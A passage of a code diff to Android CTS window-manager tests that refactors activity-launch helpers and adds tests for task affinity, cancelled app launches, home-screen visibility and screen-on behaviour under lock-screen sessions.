- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(TRANSLUCENT_TEST_ACTIVITY);
// Launch the first activity again. This will not trigger a windows drawn message since
// its windows were visible before launching.
mMetricsReader.checkpoint(); // clear out old logs
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(SECOND_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(SECOND_ACTIVITY);
+
LogMaker metricsLog = getMetricsLog(SECOND_ACTIVITY, APP_TRANSITION);
// Verify transition logs are absent since we cannot measure windows drawn delay.
assertNull("transition logs should be reset.", metricsLog);
@@ -349,11 +349,7 @@
mPreUptimeMs = SystemClock.uptimeMillis();
mMetricsReader.checkpoint(); // clear out old logs
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(THIRD_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(THIRD_ACTIVITY);
long postUptimeMs = SystemClock.uptimeMillis();
metricsLog = getMetricsLog(THIRD_ACTIVITY, APP_TRANSITION);
@@ -362,6 +358,27 @@
assertTransitionIsStartingWindow(metricsLog);
}
+ @Test
+ public void testAppLaunchCancelledSameTask() {
+ launchAndWaitForActivity(TEST_ACTIVITY);
+
+ // Start a non-opaque activity in a different process in the same task.
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(TRANSLUCENT_TOP_ACTIVITY)
+ .setIntentExtra(extra -> extra.putBoolean(EXTRA_FINISH_IN_ON_CREATE, true))
+ .setWaitForLaunched(false)
+ .execute();
+
+ final LogMaker metricsLog = Condition.waitForResult(
+ new Condition<LogMaker>("APP_TRANSITION_CANCELLED")
+ .setResultSupplier(() -> getMetricsLog(
+ TRANSLUCENT_TOP_ACTIVITY, APP_TRANSITION_CANCELLED))
+ .setResultValidator(log -> log != null));
+
+ assertNotNull("Metrics log APP_TRANSITION_CANCELLED not found", metricsLog);
+ }
+
/**
* Launch a NoDisplay activity and verify it does not affect subsequent activity launch
* metrics. NoDisplay activities do not draw any windows and may be incorrectly identified as a
@@ -369,18 +386,11 @@
*/
@Test
public void testNoDisplayActivityLaunch() {
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(NO_DISPLAY_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(NO_DISPLAY_ACTIVITY);
mPreUptimeMs = SystemClock.uptimeMillis();
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(SECOND_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(SECOND_ACTIVITY);
+
final LogMaker metricsLog = getMetricsLog(SECOND_ACTIVITY, APP_TRANSITION);
final long postUptimeMs = SystemClock.uptimeMillis();
assertMetricsLogs(SECOND_ACTIVITY, APP_TRANSITION, metricsLog, mPreUptimeMs, postUptimeMs);
@@ -395,17 +405,33 @@
@Test
public void testTrampolineActivityLaunch() {
// Launch a trampoline activity that will launch single task activity.
- getLaunchActivityBuilder()
- .setUseInstrumentation()
- .setTargetActivity(ENTRY_POINT_ALIAS_ACTIVITY)
- .setWaitForLaunched(true)
- .execute();
+ launchAndWaitForActivity(ENTRY_POINT_ALIAS_ACTIVITY);
final LogMaker metricsLog = getMetricsLog(SINGLE_TASK_ACTIVITY, APP_TRANSITION);
final long postUptimeMs = SystemClock.uptimeMillis();
assertMetricsLogs(SINGLE_TASK_ACTIVITY, APP_TRANSITION, metricsLog, mPreUptimeMs,
postUptimeMs);
}
+ @Test
+ public void testLaunchTimeEventLogNonProcessSwitch() {
+ launchAndWaitForActivity(SINGLE_TASK_ACTIVITY);
+ mLogSeparator = separateLogs();
+
+ // Launch another activity in the same process.
+ launchAndWaitForActivity(TEST_ACTIVITY);
+ final List<Event> eventLogs = getEventLogsForComponents(mLogSeparator,
+ EVENT_WM_ACTIVITY_LAUNCH_TIME);
+ verifyLaunchTimeEventLogs(eventLogs, TEST_ACTIVITY, time -> assertNotEquals(0, time));
+ }
+
+ private void launchAndWaitForActivity(ComponentName activity) {
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(activity)
+ .setWaitForLaunched(true)
+ .execute();
+ }
+
private LogMaker getMetricsLog(ComponentName componentName, int category) {
final Queue<LogMaker> startLogs = MetricsAsserts.findMatchingLogs(mMetricsReader,
new LogMaker(category));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTaskAffinityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTaskAffinityTests.java
new file mode 100644
index 0000000..a5896b3
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTaskAffinityTests.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.second.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY_DIFFERENT_UID;
+import static android.server.wm.shareuid.a.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
+import static android.server.wm.shareuid.a.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY_SAME_APP;
+import static android.server.wm.shareuid.b.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY_SHARE_UID;
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.annotation.Group3;
+
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:ActivitySecurityTests
+ *
+ * Tests if activities with the same taskAffinity can be in the same task.
+ */
+@Presubmit
+@Group3
+public class ActivityTaskAffinityTests extends ActivityManagerTestBase {
+ @Test
+ public void testActivitiesWithSameAffinityDifferentAppDifferentUidDifferentTask() {
+ testActivitiesShouldBeInTheSameTask(
+ TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ TEST_ACTIVITY_WITH_SAME_AFFINITY_DIFFERENT_UID,
+ false /* sameTask */
+ );
+ }
+
+ @Test
+ public void testActivitiesWithSameAffinityUidDifferentAppSameTask() {
+ testActivitiesShouldBeInTheSameTask(
+ TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ TEST_ACTIVITY_WITH_SAME_AFFINITY_SHARE_UID,
+ true /* sameTask */
+ );
+ }
+
+ @Test
+ public void testActivitiesWithSameAffinitySameAppSameTask() {
+ testActivitiesShouldBeInTheSameTask(
+ TEST_ACTIVITY_WITH_SAME_AFFINITY,
+ TEST_ACTIVITY_WITH_SAME_AFFINITY_SAME_APP,
+ true /* sameTask */
+ );
+ }
+
+ private void testActivitiesShouldBeInTheSameTask(ComponentName activityA,
+ ComponentName activityB, boolean sameTask) {
+ launchActivity(activityA);
+ waitAndAssertTopResumedActivity(activityA, DEFAULT_DISPLAY,
+ "Launched activity must be top-resumed.");
+ final int firstAppTaskId = mAmWmState.getAmState().getTaskByActivity(activityA).mTaskId;
+
+ launchActivity(activityB);
+ waitAndAssertTopResumedActivity(activityB, DEFAULT_DISPLAY,
+ "Launched activity must be top-resumed.");
+ final int secondAppTaskId = mAmWmState.getAmState().getTaskByActivity(activityB).mTaskId;
+
+ if (sameTask) {
+ assertEquals("Activities with same affinity must be in the same task.",
+ firstAppTaskId, secondAppTaskId);
+ } else {
+ assertNotEquals("Activities with same affinity but different uid must not be"
+ + " in the same task.", firstAppTaskId, secondAppTaskId);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
index c2deb24..47b960d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
@@ -24,7 +24,7 @@
import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
@@ -59,7 +59,6 @@
import com.android.cts.mockime.ImeCommand;
import com.android.cts.mockime.ImeEvent;
import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
import org.junit.After;
@@ -75,6 +74,7 @@
* atest CtsWindowManagerDeviceTestCases:ActivityViewTest
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityViewTest extends ActivityManagerTestBase {
private static final long IME_EVENT_TIMEOUT = TimeUnit.SECONDS.toMillis(10);
@@ -99,9 +99,11 @@
}
@After
- public void tearDown() throws Exception {
- super.tearDown();
+ public void tearDown() throws Throwable {
if (mActivityView != null) {
+ // Detach ActivityView before releasing to avoid accessing removed display.
+ mActivityRule.runOnUiThread(
+ () -> ((ViewGroup) mActivityView.getParent()).removeView(mActivityView));
SystemUtil.runWithShellPermissionIdentity(() -> mActivityView.release());
}
}
@@ -128,18 +130,16 @@
boundsMatched);
}
+ /** @return {@code true} if the display size for the activity matches the given size. */
private boolean checkDisplaySize(ComponentName activity, int requestedWidth,
int requestedHeight) {
- final int maxTries = 5;
- final int retryIntervalMs = 1000;
-
- boolean boundsMatched = false;
-
// Display size for the activity may not get updated right away. Retry in case.
- for (int i = 0; i < maxTries; i++) {
- mAmWmState.getWmState().computeState();
- int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
- WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(displayId);
+ return Condition.waitFor("display size=" + requestedWidth + "x" + requestedHeight, () -> {
+ final WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+
+ final int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
+ final WindowManagerState.Display display = wmState.getDisplay(displayId);
int avDisplayWidth = 0;
int avDisplayHeight = 0;
if (display != null) {
@@ -149,16 +149,8 @@
avDisplayHeight = bounds.height();
}
}
- boundsMatched = avDisplayWidth == requestedWidth && avDisplayHeight == requestedHeight;
- if (boundsMatched) {
- return true;
- }
-
- // wait and try again
- SystemClock.sleep(retryIntervalMs);
- }
-
- return boundsMatched;
+ return avDisplayWidth == requestedWidth && avDisplayHeight == requestedHeight;
+ });
}
@Test
@@ -228,43 +220,42 @@
extras.putString(EXTRA_PRIVATE_IME_OPTIONS, privateImeOptions);
extras.putParcelable(EXTRA_TEST_CURSOR_ANCHOR_INFO, mockResult);
- try (final MockImeSession imeSession = MockImeSession.create(mContext,
- mInstrumentation.getUiAutomation(), new ImeSettings.Builder())) {
- final ImeEventStream stream = imeSession.openEventStream();
- launchActivityInActivityView(INPUT_METHOD_TEST_ACTIVITY, extras);
+ final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
+ final ImeEventStream stream = imeSession.openEventStream();
+ launchActivityInActivityView(INPUT_METHOD_TEST_ACTIVITY, extras);
- // IME's seeing uniqueStringValue means that a valid connection is successfully
- // established from INPUT_METHOD_TEST_ACTIVITY the MockIme
- expectEvent(stream, editorMatcher("onStartInput", privateImeOptions),
- IME_EVENT_TIMEOUT);
+ tapOnDisplayCenter(mActivityView.getVirtualDisplayId());
- // Make sure that InputConnection#requestCursorUpdates() works.
- final ImeCommand cursorUpdatesCommand = imeSession.callRequestCursorUpdates(
- InputConnection.CURSOR_UPDATE_IMMEDIATE);
- final ImeEvent cursorUpdatesEvent = expectCommand(
- stream, cursorUpdatesCommand, IME_EVENT_TIMEOUT);
- assertTrue(cursorUpdatesEvent.getReturnBooleanValue());
+ // IME's seeing uniqueStringValue means that a valid connection is successfully
+ // established from INPUT_METHOD_TEST_ACTIVITY the MockIme.
+ expectEvent(stream, editorMatcher("onStartInput", privateImeOptions), IME_EVENT_TIMEOUT);
- // Make sure that MockIme received the object sent above.
- final CursorAnchorInfo receivedInfo = expectEvent(stream,
- event -> "onUpdateCursorAnchorInfo".equals(event.getEventName()),
- IME_EVENT_TIMEOUT).getArguments().getParcelable("cursorAnchorInfo");
- assertNotNull(receivedInfo);
+ // Make sure that InputConnection#requestCursorUpdates() works.
+ final ImeCommand cursorUpdatesCommand = imeSession.callRequestCursorUpdates(
+ InputConnection.CURSOR_UPDATE_IMMEDIATE);
+ final ImeEvent cursorUpdatesEvent = expectCommand(
+ stream, cursorUpdatesCommand, IME_EVENT_TIMEOUT);
+ assertTrue(cursorUpdatesEvent.getReturnBooleanValue());
- // Get the location of ActivityView in the default display's screen coordinates.
- final AtomicReference<Point> offsetRef = new AtomicReference<>();
- mInstrumentation.runOnMainSync(() -> {
- final int[] xy = new int[2];
- mActivityView.getLocationOnScreen(xy);
- offsetRef.set(new Point(xy[0], xy[1]));
- });
- final Point offset = offsetRef.get();
+ // Make sure that MockIme received the object sent above.
+ final CursorAnchorInfo receivedInfo = expectEvent(stream,
+ event -> "onUpdateCursorAnchorInfo".equals(event.getEventName()),
+ IME_EVENT_TIMEOUT).getArguments().getParcelable("cursorAnchorInfo");
+ assertNotNull(receivedInfo);
- // Make sure that the received CursorAnchorInfo has an adjusted Matrix.
- final Matrix expectedMatrix = mockResult.getMatrix();
- expectedMatrix.postTranslate(offset.x, offset.y);
- assertEquals(expectedMatrix, receivedInfo.getMatrix());
- }
+ // Get the location of ActivityView in the default display's screen coordinates.
+ final AtomicReference<Point> offsetRef = new AtomicReference<>();
+ mInstrumentation.runOnMainSync(() -> {
+ final int[] xy = new int[2];
+ mActivityView.getLocationOnScreen(xy);
+ offsetRef.set(new Point(xy[0], xy[1]));
+ });
+ final Point offset = offsetRef.get();
+
+ // Make sure that the received CursorAnchorInfo has an adjusted Matrix.
+ final Matrix expectedMatrix = mockResult.getMatrix();
+ expectedMatrix.postTranslate(offset.x, offset.y);
+ assertEquals(expectedMatrix, receivedInfo.getMatrix());
}
private void launchActivityInActivityView(ComponentName activity) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 523e660..f062954 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -17,14 +17,18 @@
package android.server.wm;
import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.content.Intent.ACTION_MAIN;
+import static android.content.Intent.CATEGORY_HOME;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
import static android.server.wm.ActivityManagerState.STATE_PAUSED;
import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.ActivityManagerState.STATE_STOPPED;
@@ -42,25 +46,35 @@
import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_STOP;
import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
-import static android.server.wm.app.Components.SWIPE_REFRESH_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TOP_ACTIVITY;
import static android.server.wm.app.Components.TRANSLUCENT_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
import static android.server.wm.app.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
import static android.view.Display.DEFAULT_DISPLAY;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.FlakyTest;
+import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
+import android.server.wm.app.Components;
import org.junit.Rule;
import org.junit.Test;
@@ -70,13 +84,13 @@
* atest CtsWindowManagerDeviceTestCases:ActivityVisibilityTests
*/
@Presubmit
+@android.server.wm.annotation.Group2
public class ActivityVisibilityTests extends ActivityManagerTestBase {
@Rule
public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
@Test
- @FlakyTest(bugId = 110276714)
public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
if (!supportsPip()) {
return;
@@ -153,6 +167,34 @@
}
@Test
+ public void testHomeVisibleOnEmptyDisplay() throws Exception {
+ if (!hasHomeScreen()) {
+ return;
+ }
+
+ removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+ forceStopHome();
+
+ assertEquals(mAmWmState.getAmState().getResumedActivitiesCount(), 0);
+ assertEquals(mAmWmState.getAmState().getStackCounts() , 0);
+
+ pressHomeButton();
+
+ mAmWmState.waitForHomeActivityVisible();
+ mAmWmState.assertHomeActivityVisible(true);
+ }
+
+ private void forceStopHome() {
+ final Intent intent = new Intent(ACTION_MAIN);
+ intent.addCategory(CATEGORY_HOME);
+ final ResolveInfo resolveInfo =
+ mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
+ String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
+
+ executeShellCommand(KILL_APP_COMMAND);
+ }
+
+ @Test
public void testTranslucentActivityOverDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
// Skipping test: no multi-window support
@@ -177,19 +219,33 @@
}
@Test
- @FlakyTest(bugId = 110276714)
- public void testTurnScreenOnActivity() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
- launchActivity(TURN_SCREEN_ON_ACTIVITY);
+ public void testTurnScreenOnActivity() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ final ActivitySessionClient activityClient = createManagedActivityClientSession();
+ testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */);
+ testTurnScreenOnActivity(lockScreenSession, activityClient, false /* useWindowFlags */);
+ }
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- }
+ private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
+ ActivitySessionClient activitySessionClient, boolean useWindowFlags) {
+ lockScreenSession.sleepDevice();
+
+ final ActivitySession activity = activitySessionClient.startActivity(
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setIntentExtra(extra -> extra.putBoolean(
+ Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+ useWindowFlags))
+ .setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+ assertTrue("Display turns on by " + (useWindowFlags ? "flags" : "APIs"),
+ isDisplayOn(DEFAULT_DISPLAY));
+
+ activity.finish();
}
@Test
- @FlakyTest(bugId = 110276714)
public void testFinishActivityInNonFocusedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
// Skipping test: no multi-window support
@@ -235,13 +291,11 @@
}
@Test
- @FlakyTest
public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
}
@Test
- @FlakyTest
public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
}
@@ -366,7 +420,7 @@
* above becomes visible and does not idle.
*/
@Test
- public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+ public void testNoHistoryActivityFinishedResumedActivityNotIdle() {
if (!hasHomeScreen()) {
return;
}
@@ -377,8 +431,13 @@
// Launch no history activity
launchActivity(NO_HISTORY_ACTIVITY);
- // Launch an activity with a swipe refresh layout configured to prevent idle.
- launchActivity(SWIPE_REFRESH_ACTIVITY);
+ // Launch an activity that won't report idle.
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setIntentExtra(
+ extra -> extra.putBoolean(Components.TestActivity.EXTRA_NO_IDLE, true))
+ .setTargetActivity(TEST_ACTIVITY)
+ .execute();
pressBackButton();
mAmWmState.waitForHomeActivityVisible();
@@ -386,109 +445,99 @@
}
@Test
- public void testTurnScreenOnAttrNoLockScreen() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.disableLockScreen()
- .sleepDevice();
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
- }
+ public void testTurnScreenOnAttrNoLockScreen() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.disableLockScreen().sleepDevice();
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
}
@Test
- public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+ public void testTurnScreenOnAttrWithLockScreen() {
assumeTrue(supportsSecureLock());
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.setLockCredential()
- .sleepDevice();
- separateTestJournal();
- launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY);
- // Wait for the activity stopped because lock screen prevent showing the activity.
- mAmWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_ACTIVITY, STATE_STOPPED);
- assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY);
- }
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential().sleepDevice();
+ separateTestJournal();
+ launchActivityNoWait(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ // Wait for the activity stopped because lock screen prevent showing the activity.
+ mAmWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_ACTIVITY, STATE_STOPPED);
+ assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY);
}
@Test
- public void testTurnScreenOnShowOnLockAttr() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
- mAmWmState.waitForAllStoppedActivities();
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
- }
+ public void testTurnScreenOnShowOnLockAttr() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
}
@Test
- @FlakyTest
- public void testTurnScreenOnAttrRemove() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
- mAmWmState.waitForAllStoppedActivities();
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
+ public void testTurnScreenOnAttrRemove() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
- lockScreenSession.sleepDevice();
- mAmWmState.waitForAllStoppedActivities();
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
- mAmWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY,
- STATE_STOPPED);
- // Display should keep off, because setTurnScreenOn(false) has been called at
- // {@link TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY}'s onStop.
- assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
- }
+ lockScreenSession.sleepDevice();
+ mAmWmState.waitForAllStoppedActivities();
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
+ mAmWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY, STATE_STOPPED);
+ // Display should keep off, because setTurnScreenOn(false) has been called at
+ // {@link TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY}'s onStop.
+ assertFalse("Display keeps off", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
}
@Test
- public void testTurnScreenOnSingleTask() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
- lockScreenSession.sleepDevice();
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ public void testTurnScreenOnSingleTask() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.sleepDevice();
+ separateTestJournal();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
- lockScreenSession.sleepDevice();
- // We should make sure test activity stopped to prevent a false alarm stop state
- // included in the lifecycle count.
- waitAndAssertActivityState(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, STATE_STOPPED,
- "Activity should be stopped");
- separateTestJournal();
- launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
- mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
- // Wait more for display state change since turning the display ON may take longer
- // and reported after the activity launch.
- waitForDefaultDisplayState(true /* wantOn */);
- assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
- }
